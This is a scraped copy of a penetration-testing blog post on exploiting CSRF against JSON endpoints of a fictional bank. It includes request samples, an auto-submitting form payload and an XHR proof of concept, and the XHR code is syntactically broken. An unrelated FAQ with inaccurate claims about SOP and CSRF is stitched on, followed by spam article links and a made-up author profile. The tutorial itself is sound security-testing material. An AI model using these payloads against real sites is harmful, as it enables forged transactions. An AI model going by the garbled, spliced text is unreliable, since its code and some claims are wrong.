CSRF in the Age of JSON (2024)

CSRF in the Age of JSON (1)

CSRF in the Age of JSON

The Complexities Created by Using JavaScript Object Notation to Transfer Data

Among the web application vulnerability tests that we perform at DirectDefense is an application security assessment for CSRF.

CSRF, or Cross-Site Request Forgery, is an attack that takes advantage of the predictability of requests and browsers’ automatic submission of session cookies to perform unintended actions on a victim’s behalf. These actions could range from an inconvenience, like changing a user’s language settings for an application, to causing real damage, like transferring money out of a bank account or forcing an administrator to create a user account for the attacker.

CSRF against a standard webform without proper protections can be pretty easy to execute, but applications are more commonly using JavaScript Object Notation (JSON) to transfer data, which comes with some added complexities. The application/json MIME type is typically sent using AJAX, which is prevented from being sent in cross-site requests by the Same-Origin Policy (SOP). Thus, to perform CSRF against a JSON endpoint, we need to either use a different MIME type, exploit a weak CORS policy, or find another means of submitting the request.

Before we even discuss performing a CSRF attack, however, we need to make a few assumptions about the application:

  1. The application has an authorization model that restricts state-changing functionality to certain users.
  2. The application uses cookies to verify users’ authorization to these functions. With current browser protections, these cookies most likely will need to be created with the SameSite=None attribute, though older browser versions or nonstandard application practicies (e.g. state-changing operations with the GET method) can circumvent that requirement.
  3. The specific functions use predictable request schemas: one user’s request will largely be similar to a second user’s request.

As an example of this last point, let us suppose that we have a banking application that allows users to send money from their account to any other. A request may look like the following:

POST /accounts/transfer HTTP 1.1
Host: members.bankofdirectdefense.com
Content-Type: application/json
Content-Length: 87
Cookie: sessionid=3564120978
{
 "fromAccount": 1,
 "toAccount": "021000021 9876543210",
 "amount": 1000,
 "currency": "USD"
}

The above request would send money from the user’s primary Bank of DirectDefense account to the specified bank account in the amount of 1000 USD. Regardless of which user was logged in, it would always transfer from that user’s first bank account to the identified account, and that predictability makes this function a prime target for CSRF.

Now that we have a bit of an understanding of CSRF, an overview of the challenges that we face with JSON endpoints, and an example to work from, let’s look at how to perform an exploit.

Manipulating the Content Type

Whenever we encounter potentially CSRF-able JSON requests, the first thing we check is how the application handles changes to the request’s MIME type. If the application is operating securely, it will respond with an error warning that the MIME type is invalid. However, with a bit of luck, the application will accept requests with a text/plain MIME type.

In this case, we can construct a form to submit a request to the endpoint, though we first need to figure out how to insert an equal sign in the request body. Because JSON doesn’t generally care about the number of key/value pairs, we can attempt to add an extra pair to the end:

POST /accounts/transfer HTTP 1.1
Host: members.bankofdirectdefense.com
Content-Type: text/plain
Content-Length: 101
Cookie: sessionid=3564120978
{
 "fromAccount": 1,
 "toAccount": "021000021 9876543210",
 "amount": 1000,
 "currency": "USD",
 "foo=": "bar"
}

Assuming the application accepts that request, we can then create a script to auto-send the above whenever a user visits a page containing the script. Everything before the equal sign will be the input name, and everything after will be the input value; when submitted, the two will be concatenated with an equal sign to create the JSON structure.

<html>
 <body>
 <form action="https://members.bankofdirectdefense.com/accounts/transfer" method="POST" enctype="text/plain">
 <input type="hidden" name="{\"from-account\": 1,\"toAccount\": \"021000021-9876543210\",\"amount\": 1000,\"currency\": \"USD\",\"foo" value="\":\"bar\"}" />
 </form>
 <script>document.forms[0].submit();</script>
 </body>
</html>

If text/plain does not work, there are still other MIME types that might. Attempt application/x-www-form-urlencoded and multipart/form-data to see if the application will accept those; occasionally, the framework will convert those types to JSON on the backend, allowing for exploitation.

Taking Advantage of CORS Misconfiguration

If the endpoint validates that requests are sent with an application/json MIME type, then all hope is not quite lost. If the application has an overly permissive CORS policy, then we can still send XHR with the proper MIME type. In order to exploit CSRF in this situation, the application has to include two key CORS headers: a dynamically updated Access-Control-Allow-Origin (ACAO) header, and an Access-Control-Allow-Credentials (ACAC) header with the value true. The ACAO header determines what origins are allowed to send requests to the application. The ACAC header determines whether cookies are sent with the request.

Special Note: ACAO does allow a wildcard value of * to match all origins. However, per CORS specifications, a wildcard value paired with ACAC set to true will result in an error. For this reason, we need the application to dynamically set ACAO to the origin of the request.

To test whether an application has such a misconfiguration, we can send the following request with an arbitrarily chosen Origin header:

POST /accounts/transfer HTTP 1.1
Host: members.bankofdirectdefense.com
Origin: https://www.attackersite.com
Content-Type: application/json
Content-Length: 88
Cookie: sessionid=3564120978
{
 "fromAccount": 1,
 "toAccount": "021000021 9876543210",
 "amount": 1000,
 "currency": "USD"
}

With luck, we’ll get back a response similar to the following:

HTTP/1.1 200 OK
Date: Fri, 13 Mar 2020 11:11:11 GMT
Access-Control-Allow-Origin: https://www.attackersite.com
Access-Control-Allow-Credentials: true
Content-Type: application/json
Content-Length: 33
{"confirmationNumber": "17AE80B"}

Armed with this knowledge, we can now attempt the following exploit proof of concept to send the payload using an application/json MIME type:

<html>
 <body>
 <script>
 function submitRequest()
 {
 var xhr = new XMLHttpRequest();
 xhr.open("POST", "https:\/\/members.bankofdirectdefense.com\/accounts\/transfer", true);
 xhr.setRequestHeader("Content-Type", "application\/json");
 xhr.withCredentials = true;
 xhr.send("{\"from-account\": 1,\"toAccount\": \"021000021-9876543210\",\"amount\": 1000,\"currency\": \"USD\"}");
 submitRequest();
 </script>
 </body>
</html>

When an authenticated user visits the hosted script on https://www.attackersite.com, the XHR will be triggered, and the transfer will be submitted.

Alternate Means of Submitting the Request

Given that IT security is an ever-changing field, there are always new exploits being discovered. One of my personal favorite CSRF vectors leveraged weaknesses in Flash and an overly-permissive crossdomain.xml policy to perform CSRF on JSON endpoints. That being said, always be on the lookout for new ways to submit requests to applications, because one never knows when a new potential vector for exploit will be introduced again.

Conclusion and Recommendations

While CSRF is not as prevalent as it once was thanks to new browser security protections, it remains a significant weakness and should always be tested for when performing a web application security assessment. For those testers using Portswigger’s Burp Suite, there’s a useful Generate CSRF PoC tool under Engagement Tools in the right-click context menu for requests, though as with all tools, one should know how it works and why it creates the proofs of concept that it does.

When it comes to fixing CSRF with JSON, the best remediation continues to be an unpredictable nonce submitted with the request and verified by the application. Authorization cookies with the SameSite=Strict attribute are also a good method of prevention. While validating the content type and having a secure CORS policy will prevent the above exploits, as I mentioned above, one never knows when a new potential vector may allow an attacker to bypass those controls.

Further Reading

For additional information related to the topics presented in this article, I recommend the following links:

CSRF in the Age of JSON (2)By: Matt Evert09.22.20

Prev

Next

CSRF in the Age of JSON (2024)

FAQs

Does JSON prevent CSRF? ›

Usually, JSON is CSRF-safe, but only when requests with content-type other than application/json gets rejected or additional CSRF protection is in place (Authorization headers/API keys).

Is CSRF possible with JWT? ›

JWTs by themselves do not prevent CSRF attacks. Here's why: - JWTs may be sent automatically by the browser if authentication cookies or local storage tokens are set. An attacker can leverage this to send the JWT without the user knowing.

Is CSRF still an issue? ›

CSRF vulnerabilities can still occur on login forms where the user is not authenticated, but the impact and risk is different.

What three key conditions must be in place for a CSRF attack to be possible? ›

For a CSRF attack to be possible, three key conditions must be in place: An operation in the web application that provides value to the attacker. Cookie-based session handling. No unpredictable request parameters.

Should I use CSRF protection in REST API? ›

Enabling cross-site request forgery protection in REST. Enabling cross-site request forgery (CSRF) protection is recommended when using REST APIs with cookies for authentication. If your REST API uses the WCToken or WCTrustedToken tokens for authentication, then additional CSRF protection is not required.

What is a way you can prevent CSRF attacks? ›

It's easier for an attacker to launch a CSRF attack when they know which parameters and value combinations are used in a form. Therefore, adding an additional parameter with a value that is unknown to the attacker and that may be validated by the server, will help prevent CSRF attacks.

Is CSRF deprecated? ›

csrf() and . requiresChannel() methods of the below piece of code no longer work because of deprecations.

Can CSRF happen without cookies? ›

Note. The cookie-setting behavior does not even need to exist within the same web application as the CSRF vulnerability.

Do we still need CSRF tokens? ›

It's probably good to keep a layered security approach and continue to use CSRF tokens.

What is the alternative to CSRF? ›

Double Submit Cookie is an alternative CSRF defence used for stateless cases. Thus, the token does not need to be assigned to the session. A random token is generated and sent to the cookie from the server and transmitted back to the server as a request parameter like in Synchronizer Token Pattern.

Does Cors stop CSRF? ›

CSRF (Cross-Site Request Forgery) is a web attack that exploits loopholes in the SOP policy, and CORS does not block them. The attack consists of the attacker running malicious scripts in the victim's browser, and thus the victim performs unintended actions on his behalf.

Should we disable CSRF? ›

When should you use CSRF protection? Our recommendation is to use CSRF protection for any request that could be processed by a browser by normal users. If you are only creating a service that is used by non-browser clients, you will likely want to disable CSRF protection.

What is the strongest defense against CSRF attacks? ›

The most robust way to defend against CSRF attacks is to include a CSRF token within relevant requests. The token must meet the following criteria: Unpredictable with high entropy, as for session tokens in general. Tied to the user's session.

How to pass CSRF token in rest api? ›

Enable CSRF Protection With REST API

If our project requires CSRF protection, we can send the CSRF token with a cookie by using CookieCsrfTokenRepository in a SecurityFilterChain bean. After restarting the app, our requests receive HTTP errors, which means that CSRF protection is enabled.

Does SOP prevent CSRF? ›

The Same Origin Policy (SOP) is a fundamental security mechanism implemented in web browsers to protect against Cross-Site Request Forgery (CSRF) attacks. CSRF attacks exploit the trust between a user and a website by tricking the user's browser into making unauthorized requests on their behalf.

Does JSON parse prevent injection? ›

The best way of preventing client-side JSON injections is never to use the eval function to evaluate JSON data. Whenever you use the eval function with untrusted data that contains JavaScript code, that code will be executed – and it could be malicious. To eliminate this risk, use JSON. parse instead.

Is JSON parse vulnerable? ›

Cross-site script inclusion, also known as JSON vulnerability, can allow an attacker's website to read data from a JSON API.

Does HTTP only prevent CSRF? ›

Designating the CSRF cookie as HttpOnly doesn't offer any practical protection because CSRF is only to protect against cross-domain attacks. If an attacker can read the cookie via JavaScript, they're already on the same domain as far as the browser knows, so they can do anything they like anyway.

Top Articles
12 Most Popular Food Delivery Services in the US
Oma Desala - The Stargate Omnipedia
Aberration Surface Entrances
Access-A-Ride – ACCESS NYC
Frank Lloyd Wright, born 150 years ago, still fascinates
Mopaga Game
How to change your Android phone's default Google account
10000 Divided By 5
Katie Boyle Dancer Biography
You can put a price tag on the value of a personal finance education: $100,000
Hmr Properties
MindWare : Customer Reviews : Hocus Pocus Magic Show Kit
Bernie Platt, former Cherry Hill mayor and funeral home magnate, has died at 90
Best Suv In 2010
Bcbs Prefix List Phone Numbers
N2O4 Lewis Structure & Characteristics (13 Complete Facts)
The Cure Average Setlist
Mals Crazy Crab
Stardew Expanded Wiki
Account Suspended
Mychart Anmed Health Login
Samantha Aufderheide
Diakimeko Leaks
Mals Crazy Crab
Delectable Birthday Dyes
Happy Shuttle Cancun Review
Napa Autocare Locator
Hair Love Salon Bradley Beach
Maxpreps Field Hockey
Craigslist Gigs Wichita Ks
Wisconsin Women's Volleyball Team Leaked Pictures
Anya Banerjee Feet
Has any non-Muslim here who read the Quran and unironically ENJOYED it?
Daily Times-Advocate from Escondido, California
Htb Forums
Google Flights Orlando
Carroll White Remc Outage Map
All Obituaries | Sneath Strilchuk Funeral Services | Funeral Home Roblin Dauphin Ste Rose McCreary MB
Paul Shelesh
Oklahoma City Farm & Garden Craigslist
Embry Riddle Prescott Academic Calendar
Timothy Warren Cobb Obituary
Oakley Rae (Social Media Star) – Bio, Net Worth, Career, Age, Height, And More
Motorcycles for Sale on Craigslist: The Ultimate Guide - First Republic Craigslist
The Machine 2023 Showtimes Near Roxy Lebanon
Unblocked Games 6X Snow Rider
Union Supply Direct Wisconsin
Arginina - co to jest, właściwości, zastosowanie oraz przeciwwskazania
Jimmy John's Near Me Open
Strange World Showtimes Near Atlas Cinemas Great Lakes Stadium 16
Where To Find Mega Ring In Pokemon Radical Red
Download Twitter Video (X), Photo, GIF - Twitter Downloader
Latest Posts
Article information

Author: Sen. Emmett Berge

Last Updated:

Views: 6663

Rating: 5 / 5 (80 voted)

Reviews: 95% of readers found this page helpful

Author information

Name: Sen. Emmett Berge

Birthday: 1993-06-17

Address: 787 Elvis Divide, Port Brice, OH 24507-6802

Phone: +9779049645255

Job: Senior Healthcare Specialist

Hobby: Cycling, Model building, Kitesurfing, Origami, Lapidary, Dance, Basketball

Introduction: My name is Sen. Emmett Berge, I am a funny, vast, charming, courageous, enthusiastic, jolly, famous person who loves writing and wants to share my knowledge and understanding with you.